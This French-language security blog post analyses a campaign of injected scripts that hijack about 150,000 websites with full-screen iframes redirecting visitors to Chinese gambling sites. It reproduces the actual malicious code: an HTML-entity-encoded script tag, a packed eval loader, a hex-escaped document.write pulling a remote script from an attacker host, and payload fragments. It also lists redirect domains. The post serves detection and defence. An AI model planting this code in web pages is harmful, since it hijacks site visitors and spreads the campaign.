Skip to main content
Blog
Blog Attacks

Plus de 150 000 sites web touchés par un détournement de page entière redirigeant vers des sites de jeux d'argent chinois

Nous estimons qu'environ 150 000 sites web ont été touchés par cette campagne. Le script définit un tableau de mots-clés liés aux paris, aux jeux d'argent et aux marques de casinos, en anglais comme en chinois.

Mar 26, 2025 4 min read
150k-websites-article-image-cover

En février, nous avons découvert un acteur malveillant ciblant plus de 35 000 sites web avec une injection malveillante de détournement de page entière. Nous avons continué à surveiller les activités de cet acteur et avons identifié de nouvelles tactiques et techniques. Il a considérablement étendu ses opérations : nous estimons désormais qu'environ 150 000 sites web ont été touchés par cette campagne.

Quoi de neuf dans cette attaque ?

Changements d'interface (UI/UX)

L'acteur malveillant a légèrement remanié son interface, mais continue de s'appuyer sur une injection d'iframe pour afficher une superposition plein écran dans le navigateur du visiteur. Voici un exemple de l'une de leurs dernières pages injectées :

Même si les visuels et la mise en page peuvent différer, la méthode d'injection sous-jacente reste fondamentalement la même.

Variations sur le même thème

Une autre variante de cette attaque présente un comportement similaire : elle injecte des scripts et des iframes qui usurpent l'identité de sites de paris légitimes tels que Bet365. Dans de nombreux cas, les logos et l'identité visuelle officiels sont réutilisés pour rendre l'attaque plus convaincante.

Encodage d'entités HTML dans le code injecté

Dans le code statique, le JavaScript malveillant est injecté ainsi :

<script type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#98;&#97;&#115;&#101;&#46;&#106;&#115;"></script>

Il s'agit d'un exemple d'encodage d'entités HTML, une autre façon d'obfusquer du code. Cela rend le script injecté moins évident au premier coup d'œil. Le décodage de cet extrait en texte brut révèle :

<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7  \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))

Vous pouvez décoder du texte encodé en entités HTML à l'aide d'outils gratuits comme CyberChef.

Dans cette attaque, on trouve également du JavaScript qui se décode lui-même en :

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
  '\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22  \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);

Ce qui finit par écrire :

<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>

Les attaquants utilisent l'obfuscation pour dissimuler la véritable nature du script aux analyses rapides ou aux détections moins sophistiquées.

Analyse du payload JavaScript final

Voici quelques points clés du script final :

Logique de détection par mots-clés Le script définit un tableau de mots-clés liés aux paris, aux jeux d'argent et aux marques de casinos, en anglais comme en chinois (par exemple : bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).

Il compare ensuite la balise <title> de la page courante à cette liste :

var keyWord = [
  { key: [...], id: 1 },
  ...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
  a = keyWord[i].id;
  c = '?id=';
  ...
}

Dès qu'une correspondance est trouvée, le script configure un paramètre ID (?id=) utilisé à l'étape suivante de la redirection.

Application de la balise Viewport Le code inclut handleViewportTag();, ainsi qu'un mutation observer et un appel setInterval pour insérer de façon répétée une balise viewport adaptée aux mobiles :

<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">

Cela garantit que la superposition plein écran s'affiche correctement sur les appareils mobiles.

Superposition plein écran + injection d'iframe Le script de l'attaquant crée un <div class="lbb"> qui couvre l'intégralité de l'écran (via CSS position: fixed; z-index: 9999; ...) et injecte une <iframe> plein écran :

var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');

Tout visiteur du site compromis voit la page d'atterrissage de jeux d'argent malveillante à la place du contenu légitime.

Destinations de redirection

Nous avons observé plusieurs URL de redirection lors de l'analyse, notamment :

hxxps://551007t[.]cc/

hxxps://t399229[.]com/

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

(Déjà observé dans d'autres campagnes)

hxxps://W88in[.]com

hxxps://b217102[.]cc/

hxxps://g977115[.]com/

hxxps://lucky298[.]com/

Plusieurs de ces sites bloquent sélectivement le trafic en provenance de certaines régions, ce qui nous amène à penser que les cibles principales sont des utilisateurs sinophones en Chine, à Hong Kong et aux États-Unis.

Ampleur de l'attaque : 150 000 sites (et ce n'est pas fini)

En exploitant des outils de recherche publics (par exemple PublicWWW), nous avons regroupé tous les sites web qui contiennent l'extrait de script obfusqué. Au moment de notre analyse, nous avons identifié plus de 150 000 sites uniques. Vous pouvez consulter une requête en temps réel de ces infections ici.

Cette attaque illustre comment les acteurs malveillants s'adaptent en permanence, élargissant leur portée et ajoutant de nouvelles couches d'obfuscation. Les attaques côté client de ce type sont en pleine expansion, avec de nouvelles découvertes chaque jour.

Si vous pensez que votre site pourrait être touché, examinez tous les scripts à la recherche d'encodages d'entités HTML cachés ou d'injections d'<iframe> suspectes. Comme toujours, une vigilance constante et des audits réguliers de votre site restent vos meilleures défenses contre ce type d'attaques.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration